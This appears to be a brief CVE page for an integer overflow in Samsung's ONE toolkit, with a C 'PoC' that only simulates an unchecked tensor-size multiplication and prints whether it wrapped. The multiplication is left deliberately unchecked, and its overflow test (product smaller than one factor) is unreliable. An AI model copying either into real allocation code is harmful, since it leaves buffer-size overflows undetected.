CVE-2026-40449 Samsung Open Source ONE整数溢出漏洞

/* * PoC for CVE-2026-40449 * Demonstrates triggering integer overflow by creating large tensor dimensions. */ #include <stdio.h> #include <stdint.h> // Simulating the vulnerable buffer size calculation void simulate_vulnerable_calc(size_t dim_a, size_t dim_b, size_t elem_size) { printf("Calculating buffer size for dims: %zu x %zu, elem_size: %zu\n", dim_a, dim_b, elem_size); // Vulnerable calculation: potential overflow here size_t required_size = dim_a * dim_b * elem_size; printf("Calculated required size: %zu\n", required_size); if (required_size < dim_a) { // Simple check for overflow printf("[!] Integer Overflow detected! Size wrapped around.\n"); } else { printf("[+] Size seems valid (may still be vulnerable depending on allocation logic).\n"); } } int main() { // Dimensions chosen to trigger 32-bit or 64-bit overflow depending on arch size_t large_dim = 0x100000000; size_t elem_size = 4; // e.g., float32 simulate_vulnerable_calc(large_dim, large_dim, elem_size); return 0; }